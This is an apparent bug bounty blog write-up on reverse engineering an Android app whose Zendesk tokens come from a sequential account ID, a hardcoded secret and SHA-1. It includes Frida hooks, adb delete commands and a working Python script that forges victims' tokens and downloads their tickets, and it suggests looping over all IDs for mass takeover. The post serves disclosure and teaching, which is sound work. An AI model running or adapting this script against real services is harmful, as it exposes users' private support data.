0-Click Mass Account Takeover via Android App: Access to all Zendesk Tickets

Omid RezaeiOmid Rezaei
9 min read

A few months ago, I was working on a private bug bounty program that included the company's Android application. At that time, I was learning about the security of Android applications, so I decided to gain practical experience by analyzing the company's application.

Setup

For the setup testing and phase, my methodology includes two approaches:

  1. Static Analysis: For static analysis, I usually use JADX to reverse engineer Android applications and access their source code

  2. Dynamic Analysis: I Install the app on an emulator such as Android Studio Emulator or Genymotion, and try to hook the Java functions by Frida and proxy network traffic through Burp Suite (bypassing SSL pinning if required) to capture API calls and related data

Reconnaissance

I usually start with dynamic analysis to inspect traffic. Since most apps use SSL pinning, I bypass it with this Frida script, which is highly effective and works on most applications.

After capturing the traffic, I interacted with all the app functions to observe the API calls. In the support section, a POST request was sent to REDACTED.zendesk.com, which caught my attention. It only sent a token in the request body without any other significant data. An access_token was returned in the response, which was then used to access other support API endpoints, such as opening tickets and retrieving all tickets.

POST /access/sdk/jwt HTTP/2
Host: REDACTED.zendesk.com
Client-Identifier: mobile_sdk_client
User-Agent: Zendesk-SDK/4.1.0 Android/29 Variant/Core
X-Zendesk-Client: mobile/android/sdk/core
X-Zendesk-Client-Version: 4.1.0
Accept-Language: en-us
Accept: application/json
Content-Type: application/json; charset=UTF-8
Content-Length: 71
Accept-Encoding: gzip, deflate, br

{"user":{"token":"131070497_b28e1722087f8fbbde077fa1f372d7e51bbbc415"}}
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 37
Vary: Accept
Strict-Transport-Security: max-age=31536000; includeSubDomains
Cache-Control: no-cache
X-Runtime: 0.139337
X-Zendesk-Zorg: yes
X-Request-Id: 91c07ba5293de51e-TXL
Cf-Cache-Status: DYNAMIC
Nel: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 91c07ba5293de51e-TXL

{"access_token":"Access_Token"}

First things that come to my mind to test here, send this request to the repeater to send it a few times to see if it is a one-time use token or not. After sending it, I noticed the token can be used unlimited times, and each request generates a new valid access_token for me.

The question was how the token is generated. Maybe we got it from another API call. Checking all Burp Suite requests showed no API call creating it, so it was likely generated by the app itself.

I installed the app on another device to see if the token was different, and surprisingly, it was the same. This shows that the token was not time-based or device-specific, so it was worth continuing work on it

Storage

One interesting aspect of the Android application is its storage. It saves files, tokens, data, and other useful items. I usually begin by cloning the entire folder that the application uses, which is located at /data/data/{package}/ in the storage. Then, I open it with a code editor to examine the files and databases, searching through them to extract parameters and other information.

I searched all folders and files for the token and found a single match:

The zendesk-identity parameter was an initial point for me to start Static Analysis.

Static Analysis

I began using jadx and searched for the zendesk-identity string throughout the entire source code.

Two files used this name and pointed it to IDENTITY_KEY and LEGACY_IDENTITY_KEY in their source code. Opening them, I traced their usage and found a function named storeIdentity related to what I was looking for:

This function takes identity as input and saves it into identityStorage, a variable named IDENTITY_KEY, which points to zendesk-identity:

this.identityStorage.put(IDENTITY_KEY, identity);

For confirmation that I'm in the right function or not, I used Firda to hook this function and clicked on the function in the Android application to see if it would be triggered or not:

# frida script 
let ZendeskIdentityStorage = Java.use("zendesk.core.ZendeskIdentityStorage");
ZendeskIdentityStorage["storeIdentity"].implementation = function (identity) {
    console.log(`ZendeskIdentityStorage.storeIdentity is called: identity=${identity}`);
    this["storeIdentity"](identity);
};

It’s the right place, the method simply takes the token as input, goes through some if-else statements, and saves it into storage, so we are one step forward.

Next, I searched the entire source code for the storeIdentity method to find where it is called, I discovered several files that use it:

I hooked all those functions at runtime and observed that storeIdentity is called only the first time to save the token. After that, a check confirms its existence and skips it. So, I need to clear the app's entire cache or delete the files storing the token. The command I used to do that for me:

adb shell "rm -rf /data/data/{package}/.*"
adb shell "rm -rf /data/data/{package}/shared_prefs/zendesk_identity.xml"

After some digging, I found this updateAndPersistIdentity method. It takes Identity as input, performs checks, such as whether Identity is null or not, and then passes the identity to the previous function storeIdentity:

I hook it using this Frida script to verify I am in the right place:

let ZendeskIdentityManager = Java.use("zendesk.core.ZendeskIdentityManager");
ZendeskIdentityManager["updateAndPersistIdentity"].implementation = function (identity) {
    console.log(`ZendeskIdentityManager.updateAndPersistIdentity is called: identity=${identity}`);
    let result = this["updateAndPersistIdentity"](identity);
    console.log(`ZendeskIdentityManager.updateAndPersistIdentity result=${result}`);
    return result;

In the next step, I need to look for places where updateAndPersistIdentity is being called:

There were a few places where the updateAndPersistIdentity method was being called, one of them, named setIdentity, caught my attention:

This function, like the previous one, gets Identity as input. It performs a validity check and passes it to an if statement. This statement checks if the token was saved before or not. If it was, it returns and exits from the method, and if not, it will run other functions and methods, including the updateAndPersistIdentity method. Just for confirmation, hook it with Frida:

let ZendeskShadow = Java.use("zendesk.core.ZendeskShadow");
ZendeskShadow["setIdentity"].implementation = function (identity) {
    console.log(`ZendeskShadow.setIdentity is called: identity=${identity}`);
    this["setIdentity"](identity);
};

In this state, I needed to go one step more deep dive and look for places that setIdentity is being called

After reviewing all the code that calls setIdentity And chekcing all of them at runtime, I found a method that was exactly what we were looking for → ZendeskHelper.g()

Code Review: The Last Piece of the Puzzle

Let’s analyze the g method line by line:

public final void g() {
        Person value = M.INSTANCE.a().o().getValue();
        if (value != null) {
            kotlin.jvm.internal.w wVar = kotlin.jvm.internal.w.f43427a;
            String str = String.format("REDACTED-%s-%s", Arrays.copyOf(new Object[]{Long.valueOf(value.getRemoteId()), Secrets.f39202a.k()}, 2));
            kotlin.jvm.internal.p.g(str, "format(...)");
            String str2 = String.format("%s_%s", Arrays.copyOf(new Object[]{Long.valueOf(value.getRemoteId()), r.b(str)}, 2));
            kotlin.jvm.internal.p.g(str2, "format(...)");
            JwtIdentity jwtIdentity = new JwtIdentity(str2);
            Zendesk zendesk2 = Zendesk.INSTANCE;
            zendesk2.setIdentity(jwtIdentity);
            Support.INSTANCE.init(zendesk2);
        }
    }
  1. Retrieve user object

     Person value = M.INSTANCE.a().o().getValue();
    

    Basically, it retrieves the user object. If it is null, the method stops.

  2. Create a First String

     String str = String.format("REDACTED-%s-%s",
         Arrays.copyOf(new Object[]{value.getRemoteId(), Secrets.f39202a.k()}, 2));
    

    It builds a string with the company name (REDACTED), the Account ID, and a secret, like:

    REDACTED-AccountID-Secret. getRemoteId() gives the Account ID. This ID is predictable and sequential, creating a major vulnerability in token generation. The output of getRemoteId() is our Account ID:

    The next part of the first string comes from Secrets.f39202a.k(), which consistently returned the secret: 987sdasdlkjlakdjf. Our analysis revealed that this value remains static across all devices and accounts, showing it is a hardcoded secret.

    ChatGPT Explanation: This function, likely an XOR-based decoding mechanism, reverses an obfuscation, but critically, the underlying secret it reveals is invariant.

    Up to this point, I discovered how the first string is created for every user. For example, for my account with the ID 131070497, it would be something like:

     REDACTED-131070497-987sdasdlkjlakdjf
    
  3. Create a Second String

     String str2 = String.format("%s_%s",
         Arrays.copyOf(new Object[]{value.getRemoteId(), r.b(str)}, 2));
    

    For creating a second string, it will join the Account ID with the output of this r.b(str), which you can see the structure of the class below:

    How does the method r.b() work step by step?

    • Creates a MessageDigest instance for SHA-1

    • Resets and updates it with the UTF-8 encoded bytes of str

    • Calls digest(), producing the 20-byte SHA-1 hash

    • Passes that into a() to convert to hex

    • Returns the hex string

    • If encoding (UTF-8) or algorithm (SHA-1) is unsupported, prints stack trace and returns an empty string

It simply takes a string, encodes it in UTF-8, computes its SHA-1 digest, and returns the result as a hex string:

As you can see in the screenshot, r.b(str) takes REDACTED-131070497-987sdasdlkjlakdjf as input and generate a SHA1 output → b28e1722087f8fbbde077fa1f372d7e51bbbc415

So the whole format of the second string would be something like this:

    131070497_b28e1722087f8fbbde077fa1f372d7e51bbbc415

which are exactly the tokens that are sent as a POST request to /access/sdk/jwt endpoints, and in the response, we get the Access Token

  1. Other parts of the function

    Other parts of the g method simply initiates the Zendesk support and passes the token to setIdentity, among other things.

Exploitation

I discovered how the app creates the Zendesk token. If I were able to generate tokens for other users, I could take over their Zendesk accounts without any action from them. The only dynamic part is the AccountID, which is predictable and can be brute-forced, with no rate limits or lockouts, making mass takeover possible.

The Exploitation Steps:

  1. Generate this token: REDACTED + AccountID + 987sdasdlkjlakdjf

  2. Initiate a POST request https://REDACTED.zendesk.com/access/sdk/jwt with the token we generated

  3. Get the Access Token

  4. Initiate a request with the Access Token to other APIs to read all tickets, submit a ticket, or perform any actions available in the support section of the application

To make the process easier, I wrote a Python script to perform all the steps:

import hashlib
import requests
def gen_sha1(full_string):
    return hashlib.sha1(full_string.encode()).hexdigest()
def get_access_token(UserToken):
    url = "https://REDACTED.zendesk.com/access/sdk/jwt"
    headers = {"Content-Type": "application/json; charset=UTF-8",}
    payload = {"user": {"token": f"{UserToken}"}}
    try:
        response = requests.post(url, json=payload, headers=headers)
        access_token = response.json()['authentication']['access_token']
        return access_token

    except Exception as err:
        print(f"[-]Error: {err}")

def save_all_tickets(access_token, user_id):
    url = "https://REDACTED.zendesk.com/api/mobile/requests/"
    headers = {"Authorization": f"Bearer {access_token}",}
    response = requests.get(url, headers=headers)
    filename = f"{user_id}.json"
    with open(filename, "wb") as file:
        file.write(response.content)
    print(f"[+] Tickets saved to: {filename}")

def main():
    user_id = input("\nEnter the Person ID: ")
    key = "987sdasdlkjlakdjf"
    full_string = f"REDACTED-{user_id}-{key}"
    sha1_hash = gen_sha1(full_string)
    UserToken = f"{user_id}_{sha1_hash}"
    print("-----------------")
    print(f"\n[+] String: '{full_string}'\n[+] Hash: {sha1_hash}\n[+] UserToken: {UserToken}\n")
    access_token = get_access_token(UserToken)
    print(f"[+] Access Token: {access_token}\n"
    print("[+] Saving All Tickets into a file...")
    save_all_tickets(access_token, user_id)
    print("[+] Done\n")
main()

As shown in the last screenshot, it worked! By entering the victim’s Account ID as input for the script, we received the victim's Access Token in response. Since the account ID is predictable, we could add a for loop to the script to iterate from 0 to 99999999 and take over every matching account ID. However, because this was a bug bounty program, I stopped at this point and did not proceed further, but I mentioned in the report that this could

Conclusion

I reported it to the program, and we had a long and detailed conversation where I explained step by step how I discovered this flaw. In the end, it was triaged as Critical, and they paid me about $3,000 for this bug, which was not the maximum payout. I even expect a bonus, but in bug bounty programs, things often don't meet our expectations.

18
Subscribe to my newsletter

Read articles from Omid Rezaei directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Omid Rezaei
Omid Rezaei